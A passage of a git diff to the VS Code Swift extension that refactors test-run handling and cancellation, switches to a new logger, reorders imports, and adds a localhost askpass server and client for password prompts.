@@ -464,6 +490,7 @@ export class TestRunner { this.testRun.addParameterizedTestCase, this.testRun.addAttachment ); + this.onDebugSessionTerminated = this.debugSessionTerminatedEmitter.event; } /** @@ -514,15 +541,14 @@ export class TestRunner { TestKind.standard, vscode.TestRunProfileKind.Run, async (request, token) => { - const runner = new TestRunner( + await this.handleTestRunRequest( TestKind.standard, request, folderContext, controller, - token + token, + onCreateTestRun ); - onCreateTestRun.fire(runner.testRun); - await runner.runHandler(); }, true, runnableTag @@ -531,15 +557,14 @@ export class TestRunner { TestKind.parallel, vscode.TestRunProfileKind.Run, async (request, token) => { - const runner = new TestRunner( + await this.handleTestRunRequest( TestKind.parallel, request, folderContext, controller, - token + token, + onCreateTestRun ); - onCreateTestRun.fire(runner.testRun); - await runner.runHandler(); }, false, runnableTag @@ -548,15 +573,14 @@ export class TestRunner { TestKind.release, vscode.TestRunProfileKind.Run, async (request, token) => { - const runner = new TestRunner( + await this.handleTestRunRequest( TestKind.release, request, folderContext, controller, - token + token, + onCreateTestRun ); - onCreateTestRun.fire(runner.testRun); - await runner.runHandler(); }, false, runnableTag @@ -566,21 +590,27 @@ export class TestRunner { TestKind.coverage, vscode.TestRunProfileKind.Coverage, async (request, token) => { - const runner = new TestRunner( + await this.handleTestRunRequest( TestKind.coverage, request, folderContext, controller, - token + token, + onCreateTestRun, + async runner => { + if (request.profile) { + request.profile.loadDetailedCoverage = async ( + _testRun, + fileCoverage + ) => { + return runner.testRun.coverage.loadDetailedCoverage( + fileCoverage.uri + ); + }; + } + await vscode.commands.executeCommand("testing.openCoverage"); + } ); - onCreateTestRun.fire(runner.testRun); - if (request.profile) { - request.profile.loadDetailedCoverage = async (_testRun, fileCoverage) => { - return runner.testRun.coverage.loadDetailedCoverage(fileCoverage.uri); - }; - } - await runner.runHandler(); - await vscode.commands.executeCommand("testing.openCoverage"); }, false, runnableTag @@ -590,15 +620,14 @@ export class TestRunner { TestKind.debug, vscode.TestRunProfileKind.Debug, async (request, token) => { - const runner = new TestRunner( + await this.handleTestRunRequest( TestKind.debug, request, folderContext, controller, - token + token, + onCreateTestRun ); - onCreateTestRun.fire(runner.testRun); - await runner.runHandler(); }, false, runnableTag @@ -607,15 +636,14 @@ export class TestRunner { TestKind.debugRelease, vscode.TestRunProfileKind.Debug, async (request, token) => { - const runner = new TestRunner( + await this.handleTestRunRequest( TestKind.debugRelease, request, folderContext, controller, - token + token, + onCreateTestRun ); - onCreateTestRun.fire(runner.testRun); - await runner.runHandler(); }, false, runnableTag @@ -623,6 +651,89 @@ export class TestRunner { ]; } + /** + * Handle a test run request, checking if a test run is already in progress + * @param testKind The kind of test run + * @param request The test run request + * @param folderContext The folder context + * @param controller The test controller + * @param token The cancellation token + * @param onCreateTestRun Event emitter for test run creation + * @param postRunHandler Optional handler to run after the test run completes + */ + private static async handleTestRunRequest( + testKind: TestKind, + request: vscode.TestRunRequest, + folderContext: FolderContext, + controller: vscode.TestController, + token: vscode.CancellationToken, + onCreateTestRun: vscode.EventEmitter, + postRunHandler?: (runner: TestRunner) => Promise + ): Promise { + // If there's an active test run, prompt the user to cancel + if (folderContext.hasActiveTestRun()) { + const cancelOption = "Replace Running Test"; + const result = IS_RUNNING_UNDER_TEST + ? cancelOption + : await vscode.window.showInformationMessage( + "A test run is already in progress. Would you like to cancel and replace the active test run?", + { modal: true }, + cancelOption + ); + + if (result === cancelOption && !token.isCancellationRequested) { + // Cancel the active test run + folderContext.cancelTestRun(); + } else { + return; + } + } + + const compositeToken = new CompositeCancellationToken(token); + + // Create a cancellation token source for this test run + const compositeTokenSource = new CompositeCancellationTokenSource(token); + + // Create and run the test runner + const runner = new TestRunner( + testKind, + request, + folderContext, + controller, + compositeTokenSource.token + ); + + // If the user terminates a debugging session for swift-testing + // we want to prevent XCTest from starting. + const terminationListener = runner.onDebugSessionTerminated(() => + compositeTokenSource.cancel() + ); + + // If the user cancels the test run via the VS Code UI, skip the pending tests + // so they don't appear as failed. Any pending tests left over at the end of a run + // are assumed to have crashed. + const cancellationListener = compositeToken.onCancellationRequested(() => + runner.testRun.skipPendingTests() + ); + + // Register the test run with the manager + folderContext.registerTestRun(runner.testRun, compositeTokenSource); + + // Fire the event to notify that a test run was created + onCreateTestRun.fire(runner.testRun); + + // Run the tests + await runner.runHandler(); + + terminationListener.dispose(); + cancellationListener.dispose(); + + // Run the post-run handler if provided + if (postRunHandler) { + await postRunHandler(runner); + } + } + /** * Extracts a list of unique test Targets from the list of test items. */ @@ -642,6 +753,10 @@ export class TestRunner { * @returns When complete */ async runHandler() { + if (this.testRun.token.isCancellationRequested) { + return; + } + const testTargets = this.testTargets(this.testArgs.testItems); this.workspaceContext.testsStarted(this.folderContext, this.testKind, testTargets); @@ -658,7 +773,7 @@ export class TestRunner { await this.runSession(runState); } } catch (error) { - this.workspaceContext.outputChannel.log(`Error: ${getErrorDescription(error)}`); + this.workspaceContext.logger.error(`Error: ${getErrorDescription(error)}`); this.testRun.appendOutput(`\r\nError: ${getErrorDescription(error)}`); } @@ -726,7 +841,7 @@ export class TestRunner { await SwiftTestingConfigurationSetup.cleanupAttachmentFolder( this.folderContext, testRunTime, - this.workspaceContext.outputChannel + this.workspaceContext.logger ); }); } @@ -900,7 +1015,8 @@ export class TestRunner { testBuildConfig: vscode.DebugConfiguration, runState: TestRunnerTestRunState ) { - await this.workspaceContext.tempFolder.withTemporaryFile("xml", async filename => { + const tempFolder = await TemporaryFolder.create(); + await tempFolder.withTemporaryFile("xml", async filename => { const args = [...(testBuildConfig.args ?? []), "--xunit-output", filename]; try { @@ -923,11 +1039,7 @@ export class TestRunner { const xUnitParser = new TestXUnitParser( this.folderContext.toolchain.hasMultiLineParallelTestOutput ); - const results = await xUnitParser.parse( - buffer, - runState, - this.workspaceContext.outputChannel - ); + const results = await xUnitParser.parse(buffer, runState, this.workspaceContext.logger); if (results) { this.testRun.appendOutput( `\r\nExecuted ${results.tests} tests, with ${results.failures} failures and ${results.errors} errors.\r\n` @@ -937,29 +1049,34 @@ export class TestRunner { } /** Run test session inside debugger */ - async debugSession(runState: TestRunnerTestRunState) { - // Perform a build all first to produce the binaries we'll run later. - let buildOutput = ""; - try { - await this.runStandardSession( - // Capture the output to print it in case of a build error. - // We dont want to associate it with the test run. - new stream.Writable({ - write: (chunk, _encoding, next) => { - buildOutput += chunk.toString(); - next(); - }, - }), - await BuildConfigurationFactory.buildAll( - this.folderContext, - true, - isRelease(this.testKind) - ), - this.testKind - ); - } catch (buildExitCode) { - runState.recordOutput(undefined, buildOutput); - throw new Error(`Build failed with exit code ${buildExitCode}`); + async debugSession( + runState: TestRunnerTestRunState, + performBuild: boolean = true + ): Promise { + if (performBuild) { + // Perform a build all first to produce the binaries we'll run later. + let buildOutput = ""; + try { + await this.runStandardSession( + // Capture the output to print it in case of a build error. + // We dont want to associate it with the test run. + new stream.Writable({ + write: (chunk, _encoding, next) => { + buildOutput += chunk.toString(); + next(); + }, + }), + await BuildConfigurationFactory.buildAll( + this.folderContext, + true, + isRelease(this.testKind) + ), + this.testKind + ); + } catch (buildExitCode) { + runState.recordOutput(undefined, buildOutput); + throw new Error(`Build failed with exit code ${buildExitCode}`); + } } const testRunTime = Date.now(); @@ -1007,7 +1124,7 @@ export class TestRunner { // output test build configuration if (configuration.diagnostics) { const configJSON = JSON.stringify(swiftTestBuildConfig); - this.workspaceContext.outputChannel.logDiagnostic( + this.workspaceContext.logger.debug( `swift-testing Debug Config: ${configJSON}`, this.folderContext.name ); @@ -1034,7 +1151,7 @@ export class TestRunner { // output test build configuration if (configuration.diagnostics) { const configJSON = JSON.stringify(xcTestBuildConfig); - this.workspaceContext.outputChannel.logDiagnostic( + this.workspaceContext.logger.debug( `XCTest Debug Config: ${configJSON}`, this.folderContext.name ); @@ -1062,15 +1179,20 @@ export class TestRunner { LoggingDebugAdapterTracker.setDebugSessionCallback( session, - this.workspaceContext.outputChannel, - output => { - outputHandler(output); + this.workspaceContext.logger, + output => outputHandler(output), + exitCode => { + // Debug session is stopped with exitCode 9 (SIGKILL) + // when the user terminates it manually. + if (exitCode === 9) { + this.debugSessionTerminatedEmitter.fire(); + } } ); // add cancellation const cancellation = this.testRun.token.onCancellationRequested(() => { - this.workspaceContext.outputChannel.logDiagnostic( + this.workspaceContext.logger.debug( "Test Debugging Cancelled", this.folderContext.name ); @@ -1084,7 +1206,7 @@ export class TestRunner { if (e.name !== config.name) { return; } - this.workspaceContext.outputChannel.logDiagnostic( + this.workspaceContext.logger.debug( "Stop Test Debugging", this.folderContext.name ); @@ -1113,7 +1235,7 @@ export class TestRunner { this.testRun.testRunStarted(); } - this.workspaceContext.outputChannel.logDiagnostic( + this.workspaceContext.logger.debug( "Start Test Debugging", this.folderContext.name ); @@ -1137,9 +1259,11 @@ export class TestRunner { await SwiftTestingConfigurationSetup.cleanupAttachmentFolder( this.folderContext, testRunTime, - this.workspaceContext.outputChannel + this.workspaceContext.logger ); }); + + return this.testRun.runState; } /** Returns a callback that handles a chunk of stdout output from a test run. */ diff --git a/src/TestExplorer/TestUtils.ts b/src/TestExplorer/TestUtils.ts index a8974847b..5abe0f63e 100644 --- a/src/TestExplorer/TestUtils.ts +++ b/src/TestExplorer/TestUtils.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; /** diff --git a/src/TestExplorer/TestXUnitParser.ts b/src/TestExplorer/TestXUnitParser.ts index 8a4e19062..f464b8af6 100644 --- a/src/TestExplorer/TestXUnitParser.ts +++ b/src/TestExplorer/TestXUnitParser.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as xml2js from "xml2js"; + +import { SwiftLogger } from "../logging/SwiftLogger"; import { ITestRunState } from "./TestParsers/TestRunState"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; export interface TestResults { tests: number; @@ -50,14 +50,14 @@ export class TestXUnitParser { async parse( buffer: string, runState: ITestRunState, - outputChannel: SwiftOutputChannel + logger: SwiftLogger ): Promise { const xml = await xml2js.parseStringPromise(buffer); try { return await this.parseXUnit(xml, runState); } catch (error) { // ignore error - outputChannel.appendLine(`Error parsing xUnit output: ${error}`); + logger.error(`Error parsing xUnit output: ${error}`); return undefined; } } diff --git a/src/WorkspaceContext.ts b/src/WorkspaceContext.ts index c8eb004c5..30f013674 100644 --- a/src/WorkspaceContext.ts +++ b/src/WorkspaceContext.ts @@ -11,32 +11,35 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; +import * as vscode from "vscode"; + +import { DiagnosticsManager } from "./DiagnosticsManager"; import { FolderContext } from "./FolderContext"; -import { StatusItem } from "./ui/StatusItem"; -import { SwiftOutputChannel } from "./ui/SwiftOutputChannel"; -import { swiftLibraryPathKey } from "./utilities/utilities"; -import { isExcluded, isPathInsidePath } from "./utilities/filesystem"; -import { LanguageClientToolchainCoordinator } from "./sourcekit-lsp/LanguageClientToolchainCoordinator"; -import { TemporaryFolder } from "./utilities/tempFolder"; -import { TaskManager } from "./tasks/TaskManager"; -import { makeDebugConfigurations } from "./debugger/launch"; -import configuration from "./configuration"; -import contextKeys from "./contextKeys"; import { setSnippetContextKey } from "./SwiftSnippets"; -import { CommentCompletionProviders } from "./editor/CommentCompletion"; -import { SwiftBuildStatus } from "./ui/SwiftBuildStatus"; -import { SwiftToolchain } from "./toolchain/toolchain"; -import { DiagnosticsManager } from "./DiagnosticsManager"; +import { TestKind } from "./TestExplorer/TestKind"; +import { TestRunManager } from "./TestExplorer/TestRunManager"; +import configuration from "./configuration"; +import { ContextKeys } from "./contextKeys"; +import { LLDBDebugConfigurationProvider } from "./debugger/debugAdapterFactory"; +import { makeDebugConfigurations } from "./debugger/launch"; import { DocumentationManager } from "./documentation/DocumentationManager"; +import { CommentCompletionProviders } from "./editor/CommentCompletion"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { SwiftLoggerFactory } from "./logging/SwiftLoggerFactory"; +import { LanguageClientToolchainCoordinator } from "./sourcekit-lsp/LanguageClientToolchainCoordinator"; import { DocCDocumentationRequest, ReIndexProjectRequest } from "./sourcekit-lsp/extensions"; -import { TestKind } from "./TestExplorer/TestKind"; -import { isValidWorkspaceFolder, searchForPackages } from "./utilities/workspace"; import { SwiftPluginTaskProvider } from "./tasks/SwiftPluginTaskProvider"; import { SwiftTaskProvider } from "./tasks/SwiftTaskProvider"; -import { LLDBDebugConfigurationProvider } from "./debugger/debugAdapterFactory"; +import { TaskManager } from "./tasks/TaskManager"; +import { BuildFlags } from "./toolchain/BuildFlags"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { ProjectPanelProvider } from "./ui/ProjectPanelProvider"; +import { StatusItem } from "./ui/StatusItem"; +import { SwiftBuildStatus } from "./ui/SwiftBuildStatus"; +import { isExcluded, isPathInsidePath } from "./utilities/filesystem"; +import { swiftLibraryPathKey } from "./utilities/utilities"; +import { isValidWorkspaceFolder, searchForPackages } from "./utilities/workspace"; /** * Context for whole workspace. Holds array of contexts for each workspace folder @@ -57,6 +60,8 @@ export class WorkspaceContext implements vscode.Disposable { public subscriptions: vscode.Disposable[]; public commentCompletionProvider: CommentCompletionProviders; public documentation: DocumentationManager; + public testRunManager: TestRunManager; + public projectPanel: ProjectPanelProvider; private lastFocusUri: vscode.Uri | undefined; private initialisationFinished = false; @@ -71,12 +76,19 @@ export class WorkspaceContext implements vscode.Disposable { public onDidStartBuild = this.buildStartEmitter.event; public onDidFinishBuild = this.buildFinishEmitter.event; - private constructor( - extensionContext: vscode.ExtensionContext, - public tempFolder: TemporaryFolder, - public outputChannel: SwiftOutputChannel, + private observers = new Set<(listener: FolderEvent) => unknown>(); + private swiftFileObservers = new Set<(listener: SwiftFileEvent) => unknown>(); + + public loggerFactory: SwiftLoggerFactory; + + constructor( + public extensionContext: vscode.ExtensionContext, + public contextKeys: ContextKeys, + public logger: SwiftLogger, public globalToolchain: SwiftToolchain ) { + this.testRunManager = new TestRunManager(); + this.loggerFactory = new SwiftLoggerFactory(extensionContext.logUri); this.statusItem = new StatusItem(); this.buildStatus = new SwiftBuildStatus(this.statusItem); this.languageClientManager = new LanguageClientToolchainCoordinator(this, { @@ -88,16 +100,24 @@ export class WorkspaceContext implements vscode.Disposable { this.diagnostics = new DiagnosticsManager(this); this.taskProvider = new SwiftTaskProvider(this); this.pluginProvider = new SwiftPluginTaskProvider(this); - this.launchProvider = new LLDBDebugConfigurationProvider( - process.platform, - this, - outputChannel - ); + this.launchProvider = new LLDBDebugConfigurationProvider(process.platform, this, logger); this.documentation = new DocumentationManager(extensionContext, this); this.currentDocument = null; this.commentCompletionProvider = new CommentCompletionProviders(); + this.projectPanel = new ProjectPanelProvider(this); const onChangeConfig = vscode.workspace.onDidChangeConfiguration(async event => { + // Clear build path cache when build-related configurations change + if ( + event.affectsConfiguration("swift.buildArguments") || + event.affectsConfiguration("swift.buildPath") || + event.affectsConfiguration("swift.sdk") || + event.affectsConfiguration("swift.swiftSDK") + ) { + // Clear the build path cache since configuration affects paths + BuildFlags.clearBuildPathCache(); + } + // on runtime path config change, regenerate launch.json if (event.affectsConfiguration("swift.runtimePath")) { if (!(await this.needToAutoGenerateLaunchConfig())) { @@ -117,14 +137,20 @@ export class WorkspaceContext implements vscode.Disposable { } }); } - // on change of swift build path, regenerate launch.json - if (event.affectsConfiguration("swift.buildPath")) { + // on change of swift build path or build arguments, regenerate launch.json + if ( + event.affectsConfiguration("swift.buildPath") || + event.affectsConfiguration("swift.buildArguments") + ) { if (!(await this.needToAutoGenerateLaunchConfig())) { return; } + const configType = event.affectsConfiguration("swift.buildPath") + ? "build path" + : "build arguments"; void vscode.window .showInformationMessage( - `Launch configurations need to be updated after changing the Swift build path. Do you want to update?`, + `Launch configurations need to be updated after changing the Swift ${configType}. Do you want to update?`, "Update", "Cancel" ) @@ -199,9 +225,10 @@ export class WorkspaceContext implements vscode.Disposable { this.diagnostics, this.documentation, this.languageClientManager, - this.outputChannel, + this.logger, this.statusItem, this.buildStatus, + this.projectPanel, ]; this.lastFocusUri = vscode.window.activeTextEditor?.document.uri; @@ -227,24 +254,14 @@ export class WorkspaceContext implements vscode.Disposable { return this.globalToolchain.swiftVersion; } - /** Get swift version and create WorkspaceContext */ - static async create( - extensionContext: vscode.ExtensionContext, - outputChannel: SwiftOutputChannel, - toolchain: SwiftToolchain - ): Promise { - const tempFolder = await TemporaryFolder.create(); - return new WorkspaceContext(extensionContext, tempFolder, outputChannel, toolchain); - } - /** * Update context keys based on package contents */ updateContextKeys(folderContext: FolderContext | null) { if (!folderContext) { - contextKeys.hasPackage = false; - contextKeys.hasExecutableProduct = false; - contextKeys.packageHasDependencies = false; + this.contextKeys.hasPackage = false; + this.contextKeys.hasExecutableProduct = false; + this.contextKeys.packageHasDependencies = false; return; } @@ -253,9 +270,9 @@ export class WorkspaceContext implements vscode.Disposable { folderContext.swiftPackage.executableProducts, folderContext.swiftPackage.dependencies, ]).then(([foundPackage, executableProducts, dependencies]) => { - contextKeys.hasPackage = foundPackage; - contextKeys.hasExecutableProduct = executableProducts.length > 0; - contextKeys.packageHasDependencies = dependencies.length > 0; + this.contextKeys.hasPackage = foundPackage; + this.contextKeys.hasExecutableProduct = executableProducts.length > 0; + this.contextKeys.packageHasDependencies = dependencies.length > 0; }); } @@ -267,9 +284,9 @@ export class WorkspaceContext implements vscode.Disposable { const target = await this.currentFolder?.swiftPackage.getTarget( this.currentDocument?.fsPath ); - contextKeys.currentTargetType = target?.type; + this.contextKeys.currentTargetType = target?.type; } else { - contextKeys.currentTargetType = undefined; + this.contextKeys.currentTargetType = undefined; } if (this.currentFolder) { @@ -277,13 +294,13 @@ export class WorkspaceContext implements vscode.Disposable { await languageClient.useLanguageClient(async client => { const experimentalCaps = client.initializeResult?.capabilities.experimental; if (!experimentalCaps) { - contextKeys.supportsReindexing = false; - contextKeys.supportsDocumentationLivePreview = false; + this.contextKeys.supportsReindexing = false; + this.contextKeys.supportsDocumentationLivePreview = false; return; } - contextKeys.supportsReindexing = + this.contextKeys.supportsReindexing = experimentalCaps[ReIndexProjectRequest.method] !== undefined; - contextKeys.supportsDocumentationLivePreview = + this.contextKeys.supportsDocumentationLivePreview = experimentalCaps[DocCDocumentationRequest.method] !== undefined; }); } @@ -302,7 +319,7 @@ export class WorkspaceContext implements vscode.Disposable { break; } } - contextKeys.packageHasPlugins = hasPlugins; + this.contextKeys.packageHasPlugins = hasPlugins; } /** Setup the vscode event listeners to catch folder changes and active window changes */ @@ -333,18 +350,26 @@ export class WorkspaceContext implements vscode.Disposable { // add workspace folders, already loaded if (vscode.workspace.workspaceFolders && vscode.workspace.workspaceFolders.length > 0) { for (const folder of vscode.workspace.workspaceFolders) { + const singleFolderStartTime = Date.now(); await this.addWorkspaceFolder(folder); + const singleFolderElapsed = Date.now() - singleFolderStartTime; + this.logger.info( + `Added workspace folder ${folder.name} in ${singleFolderElapsed}ms` + ); } } + // If we don't have a current selected folder Start up language server by firing focus event - // on either null folder or the first folder if there is only one + // on the first root folder found in the workspace if there is only one. if (this.currentFolder === undefined) { - if (this.folders.length === 1) { - await this.focusFolder(this.folders[0]); + const rootFolders = this.folders.filter(folder => folder.isRootFolder); + if (rootFolders.length === 1) { + await this.focusFolder(rootFolders[0]); } else { await this.focusFolder(null); } } + await this.initialisationComplete(); } @@ -424,15 +449,30 @@ export class WorkspaceContext implements vscode.Disposable { * @param folder folder being added */ async addWorkspaceFolder(workspaceFolder: vscode.WorkspaceFolder) { + const searchStartTime = Date.now(); const folders = await searchForPackages( workspaceFolder.uri, configuration.disableSwiftPMIntegration, - configuration.folder(workspaceFolder).searchSubfoldersForPackages + configuration.folder(workspaceFolder).searchSubfoldersForPackages, + configuration.folder(workspaceFolder).ignoreSearchingForPackagesInSubfolders, + this.globalToolchainSwiftVersion + ); + const searchElapsed = Date.now() - searchStartTime; + this.logger.info( + `Package search for ${workspaceFolder.name} completed in ${searchElapsed}ms (found ${folders.length} packages)` ); + const addPackagesStartTime = Date.now(); for (const folder of folders) { + const singlePackageStartTime = Date.now(); await this.addPackageFolder(folder, workspaceFolder); + const singlePackageElapsed = Date.now() - singlePackageStartTime; + this.logger.info(`Added package folder ${folder.fsPath} in ${singlePackageElapsed}ms`); } + const addPackagesElapsed = Date.now() - addPackagesStartTime; + this.logger.info( + `All package folders for ${workspaceFolder.name} added in ${addPackagesElapsed}ms` + ); if (this.getActiveWorkspaceFolder(vscode.window.activeTextEditor) === workspaceFolder) { await this.focusTextEditor(vscode.window.activeTextEditor); @@ -446,8 +486,10 @@ export class WorkspaceContext implements vscode.Disposable { // find context with root folder const index = this.folders.findIndex(context => context.folder.fsPath === folder.fsPath); if (index !== -1) { - this.outputChannel.log(`Adding package folder ${folder} twice`, "WARN"); - return this.folders[index]; + const existingFolder = this.folders[index]; + this.logger.warn(`Adding package folder ${folder} twice: ${Error().stack}`); + this.logger.warn(`Existing folder was created by ${existingFolder.creationStack}`); + return existingFolder; } const folderContext = await FolderContext.create(folder, workspaceFolder, this); this.folders.push(folderContext); @@ -611,7 +653,11 @@ export class WorkspaceContext implements vscode.Disposable { * Package.swift or a CMake compile_commands.json, compile_flags.txt, or a BSP buildServer.json. */ async isValidWorkspaceFolder(folder: string): Promise { - return await isValidWorkspaceFolder(folder, configuration.disableSwiftPMIntegration); + return await isValidWorkspaceFolder( + folder, + configuration.disableSwiftPMIntegration, + this.globalToolchainSwiftVersion + ); } /** send unfocus event to current focussed folder and clear current folder */ @@ -633,9 +679,6 @@ export class WorkspaceContext implements vscode.Disposable { } return autoGenerate; } - - private observers = new Set<(listener: FolderEvent) => unknown>(); - private swiftFileObservers = new Set<(listener: SwiftFileEvent) => unknown>(); } /** Test events for test run begin/end */ diff --git a/src/askpass/askpass-main.ts b/src/askpass/askpass-main.ts new file mode 100644 index 000000000..cd86c9fcb --- /dev/null +++ b/src/askpass/askpass-main.ts @@ -0,0 +1,82 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import * as fs from "fs"; +import * as http from "http"; +import { z } from "zod/v4/mini"; + +const outputFile = process.env.VSCODE_SWIFT_ASKPASS_FILE; +if (!outputFile) { + throw new Error("Missing environment variable $VSCODE_SWIFT_ASKPASS_FILE"); +} + +const nonce = process.env.VSCODE_SWIFT_ASKPASS_NONCE; +if (!nonce) { + throw new Error("Missing environment variable $VSCODE_SWIFT_ASKPASS_NONCE"); +} + +const port = Number.parseInt(process.env.VSCODE_SWIFT_ASKPASS_PORT ?? "-1", 10); +if (isNaN(port) || port < 0) { + throw new Error("Missing environment variable $VSCODE_SWIFT_ASKPASS_PORT"); +} + +const req = http.request( + { + hostname: "localhost", + port: port, + path: `/askpass?nonce=${encodeURIComponent(nonce)}`, + method: "GET", + }, + res => { + function parseResponse(rawData: string): { password?: string } { + try { + const rawJSON = JSON.parse(rawData); + return z.object({ password: z.optional(z.string()) }).parse(rawJSON); + } catch { + // DO NOT log the underlying error here. It contains sensitive password info! + throw Error("Failed to parse response from askpass server."); + } + } + + let rawData = ""; + res.on("data", chunk => { + rawData += chunk; + }); + + res.on("end", () => { + if (res.statusCode !== 200) { + console.error(`Server responded with status code ${res.statusCode}`); + process.exit(1); + } + const password = parseResponse(rawData).password; + if (!password) { + console.error("User cancelled password input."); + process.exit(1); + } + try { + fs.writeFileSync(outputFile, password, "utf8"); + } catch (error) { + console.error(Error(`Unable to write to file ${outputFile}`, { cause: error })); + process.exit(1); + } + }); + } +); + +req.on("error", error => { + console.error(Error(`Request failed: GET ${req.host}/${req.path}`, { cause: error })); + process.exit(1); +}); + +req.end(); diff --git a/src/askpass/askpass-server.ts b/src/askpass/askpass-server.ts new file mode 100644 index 000000000..0402904e8 --- /dev/null +++ b/src/askpass/askpass-server.ts @@ -0,0 +1,88 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as crypto from "crypto"; +import * as http from "http"; +import * as vscode from "vscode"; + +/** Options that can be used to configure the behavior of {@link withAskpassServer}. */ +export interface WithAskpassServerOptions { + /** The title of the input box shown in VS Code. */ + title?: string; +} + +/** + * Creates a temporary HTTP server that can be used to handle askpass requests from various terminal + * applications. The server will be closed when the provided task completes. + * + * The task will be provided with a randomly generated nonce and port number used for connecting to + * the server. Requests without a valid nonce will be rejected with a 401 status code. + * + * @param task Function to execute while the server is listening for connections + * @returns Promise that resolves when the task completes and server is cleaned up + */ +export async function withAskpassServer( + task: (nonce: string, port: number) => Promise, + options: WithAskpassServerOptions = {} +): Promise { + const nonce = crypto.randomBytes(32).toString("hex"); + const server = http.createServer((req, res) => { + if (!req.url) { + return res.writeHead(404).end(); + } + + const url = new URL(req.url, `http://localhost`); + if (url.pathname !== "/askpass") { + return res.writeHead(404).end(); + } + + const requestNonce = url.searchParams.get("nonce"); + if (requestNonce !== nonce) { + return res.writeHead(401).end(); + } + + void vscode.window + .showInputBox({ + password: true, + title: options.title, + placeHolder: "Please enter your password", + ignoreFocusOut: true, + }) + .then(password => { + res.writeHead(200, { "Content-Type": "application/json" }).end( + JSON.stringify({ password }) + ); + }); + }); + + return new Promise((resolve, reject) => { + server.listen(0, "localhost", async () => { + try { + const address = server.address(); + if (!address || typeof address === "string") { + throw new Error("Failed to get server port"); + } + const port = address.port; + resolve(await task(nonce, port)); + } catch (error) { + reject(error); + } finally { + server.close(); + } + }); + + server.on("error", error => { + reject(error); + }); + }); +} diff --git a/src/commands.ts b/src/commands.ts index caf51d04b..581d635a0 100644 --- a/src/commands.ts +++ b/src/commands.ts @@ -11,45 +11,47 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as path from "path"; import * as vscode from "vscode"; -import { WorkspaceContext } from "./WorkspaceContext"; -import { PackageNode } from "./ui/ProjectPanelProvider"; -import { SwiftToolchain } from "./toolchain/toolchain"; + import { debugSnippet, runSnippet } from "./SwiftSnippets"; -import { showToolchainSelectionQuickPick } from "./ui/ToolchainSelection"; -import { captureDiagnostics } from "./commands/captureDiagnostics"; +import { TestKind } from "./TestExplorer/TestKind"; +import { WorkspaceContext } from "./WorkspaceContext"; import { attachDebugger } from "./commands/attachDebugger"; -import { reindexProject } from "./commands/reindexProject"; import { cleanBuild, debugBuild, runBuild } from "./commands/build"; -import { runSwiftScript } from "./commands/runSwiftScript"; -import { useLocalDependency } from "./commands/dependencies/useLocal"; +import { captureDiagnostics } from "./commands/captureDiagnostics"; +import { createNewProject } from "./commands/createNewProject"; import { editDependency } from "./commands/dependencies/edit"; +import { resolveDependencies } from "./commands/dependencies/resolve"; import { uneditDependency } from "./commands/dependencies/unedit"; -import { openInWorkspace } from "./commands/openInWorkspace"; -import { openInExternalEditor } from "./commands/openInExternalEditor"; -import { switchPlatform } from "./commands/switchPlatform"; +import { updateDependencies } from "./commands/dependencies/update"; +import { updateDependenciesViewList } from "./commands/dependencies/updateDepViewList"; +import { useLocalDependency } from "./commands/dependencies/useLocal"; +import { generateLaunchConfigurations } from "./commands/generateLaunchConfigurations"; +import { generateSourcekitConfiguration } from "./commands/generateSourcekitConfiguration"; import { insertFunctionComment } from "./commands/insertFunctionComment"; -import { createNewProject } from "./commands/createNewProject"; +import { promptToInstallSwiftlyToolchain } from "./commands/installSwiftlyToolchain"; +import { newSwiftFile } from "./commands/newFile"; +import { openDocumentation } from "./commands/openDocumentation"; import { openEducationalNote } from "./commands/openEducationalNote"; +import { openInExternalEditor } from "./commands/openInExternalEditor"; +import { openInWorkspace } from "./commands/openInWorkspace"; import { openPackage } from "./commands/openPackage"; -import { resolveDependencies } from "./commands/dependencies/resolve"; +import { pickProcess } from "./commands/pickProcess"; +import { reindexProject } from "./commands/reindexProject"; import { resetPackage } from "./commands/resetPackage"; -import { updateDependencies } from "./commands/dependencies/update"; -import { runPluginTask } from "./commands/runPluginTask"; -import { extractTestItemsAndCount, runTestMultipleTimes } from "./commands/testMultipleTimes"; -import { newSwiftFile } from "./commands/newFile"; +import restartLSPServer from "./commands/restartLSPServer"; import { runAllTests } from "./commands/runAllTests"; -import { updateDependenciesViewList } from "./commands/dependencies/updateDepViewList"; +import { runPluginTask } from "./commands/runPluginTask"; +import { runSwiftScript } from "./commands/runSwiftScript"; import { runTask } from "./commands/runTask"; -import { TestKind } from "./TestExplorer/TestKind"; -import { pickProcess } from "./commands/pickProcess"; -import { openDocumentation } from "./commands/openDocumentation"; -import restartLSPServer from "./commands/restartLSPServer"; -import { generateLaunchConfigurations } from "./commands/generateLaunchConfigurations"; import { runTest } from "./commands/runTest"; -import { generateSourcekitConfiguration } from "./commands/generateSourcekitConfiguration"; +import { switchPlatform } from "./commands/switchPlatform"; +import { extractTestItemsAndCount, runTestMultipleTimes } from "./commands/testMultipleTimes"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { SwiftToolchain } from "./toolchain/toolchain"; +import { PackageNode } from "./ui/ProjectPanelProvider"; +import { showToolchainSelectionQuickPick } from "./ui/ToolchainSelection"; /** * References: @@ -63,15 +65,19 @@ import { generateSourcekitConfiguration } from "./commands/generateSourcekitConf 